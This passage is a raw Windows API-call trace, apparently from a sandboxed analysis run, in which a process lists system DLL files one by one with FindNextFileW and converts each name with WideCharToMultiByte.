lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMPBK32.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMPBK32.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.479] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3af76f19, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3af76f19, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cmstplua.dll", cAlternateFileName="")) returned 1 [0028.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMSTPLUA.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMSTPLUA.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.479] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3930c938, ftCreationTime.dwHighDateTime=0x1ca0415, ftLastAccessTime.dwLowDateTime=0x3930c938, ftLastAccessTime.dwHighDateTime=0x1ca0415, ftLastWriteTime.dwLowDateTime=0x8479f490, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xb800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cmutil.dll", cAlternateFileName="")) returned 1 [0028.479] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CMUTIL.DLL", cchWideChar=10, lpMultiByteStr=0x38c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CMUTIL.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.480] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3edf5019, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3edf5019, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c00920, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cngaudit.dll", cAlternateFileName="")) returned 1 [0028.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGAUDIT.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGAUDIT.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.480] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe13d1623, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe13d1623, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x85c27a20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cngprovider.dll", cAlternateFileName="")) returned 1 [0028.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0028.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNGPROVIDER.DLL", cchWideChar=15, lpMultiByteStr=0x38c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNGPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 15 [0028.480] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbc8530d4, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0xbc8530d4, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x863252f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="cnvfat.dll", cAlternateFileName="")) returned 1 [0028.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CNVFAT.DLL", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CNVFAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.480] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2a3e279, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd2a3e279, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xf800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="colbact.dll", cAlternateFileName="")) returned 1 [0028.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLBACT.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLBACT.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.480] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21891310, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x21891310, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x25800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="COLORCNV.DLL", cAlternateFileName="")) returned 1 [0028.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORCNV.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORCNV.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.480] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3357b6fd, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0x3357b6fd, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x86397ee0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x94000, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="colorui.dll", cAlternateFileName="")) returned 1 [0028.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COLORUI.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COLORUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.480] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc3830bb4, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xc3830bb4, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x8640aad0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="comcat.dll", cAlternateFileName="")) returned 1 [0028.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCAT.DLL", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCAT.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.480] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87ba0407, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x87ba0407, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x87bc6567, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x81800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="comctl32.dll", cAlternateFileName="")) returned 1 [0028.480] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMCTL32.DLL", cchWideChar=12, lpMultiByteStr=0x38c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMCTL32.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.481] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x831d597f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x831d597f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x831fbadf, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x76a00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="comdlg32.dll", cAlternateFileName="")) returned 1 [0028.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMDLG32.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMDLG32.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.481] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54e040d9, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0x54e040d9, ftLastAccessTime.dwHighDateTime=0x1ca0405, ftLastWriteTime.dwLowDateTime=0xa7e211c, ftLastWriteTime.dwHighDateTime=0x1c9ea12, nFileSizeHigh=0x0, nFileSizeLow=0x6c90, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="compobj.dll", cAlternateFileName="")) returned 1 [0028.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPOBJ.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPOBJ.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.481] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xafe90a34, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0xafe90a34, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x43800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="compstui.dll", cAlternateFileName="")) returned 1 [0028.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0028.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMPSTUI.DLL", cchWideChar=12, lpMultiByteStr=0x38c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMPSTUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0028.481] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd737050d, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd737050d, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x86560790, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="comrepl.dll", cAlternateFileName="")) returned 1 [0028.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMREPL.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMREPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.481] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd1df40b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xcd1df40b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xae46d00, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13cc00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="comres.dll", cAlternateFileName="")) returned 1 [0028.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMRES.DLL", cchWideChar=10, lpMultiByteStr=0x38c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMRES.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.481] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdca78724, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdca78724, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865ac280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x35c00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="comsnap.dll", cAlternateFileName="")) returned 1 [0028.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSNAP.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSNAP.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.481] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfddbc751, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xfddbc751, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x12f400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="comsvcs.dll", cAlternateFileName="")) returned 1 [0028.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMSVCS.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMSVCS.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.481] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe726f31b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xe726f31b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8ec00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="comuid.dll", cAlternateFileName="")) returned 1 [0028.481] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="COMUID.DLL", cchWideChar=10, lpMultiByteStr=0x38c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="COMUID.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.482] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6cecfd00, ftCreationTime.dwHighDateTime=0x1d2881f, ftLastAccessTime.dwLowDateTime=0xfc801c00, ftLastAccessTime.dwHighDateTime=0x1d2fc27, ftLastWriteTime.dwLowDateTime=0x6cecfd00, ftLastWriteTime.dwHighDateTime=0x1d2881f, nFileSizeHigh=0x0, nFileSizeLow=0x3b548, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="concrt140.dll", cAlternateFileName="")) returned 1 [0028.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONCRT140.DLL", cchWideChar=13, lpMultiByteStr=0x38c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONCRT140.DLL", lpUsedDefaultChar=0x0) returned 13 [0028.482] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf52a1a4c, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf52a1a4c, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x865d3380, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x148400, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="connect.dll", cAlternateFileName="")) returned 1 [0028.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONNECT.DLL", cchWideChar=11, lpMultiByteStr=0x38c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONNECT.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.482] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62643aa1, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x62643aa1, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="console.dll", cAlternateFileName="")) returned 1 [0028.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0028.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CONSOLE.DLL", cchWideChar=11, lpMultiByteStr=0x38c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CONSOLE.DLL", lpUsedDefaultChar=0x0) returned 11 [0028.482] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb09bc845, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xb09bc845, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x865fa480, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="corpol.dll", cAlternateFileName="")) returned 1 [0028.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0028.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CORPOL.DLL", cchWideChar=10, lpMultiByteStr=0x38c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CORPOL.DLL", lpUsedDefaultChar=0x0) returned 10 [0028.482] FindNextFileW (in: hFindFile=0x8b27a8, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3ca9d39, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3ca9d39, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3ca9d39, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x9ca00, dwReserved0=0x77585b5b, dwReserved1=0x18fd10, cFileName="CPFilters.dll", cAlternateFileName="")) returned 1 [0028.482] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CPFILTERS.DLL", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0028.482] WideCharToMultiByte (in: 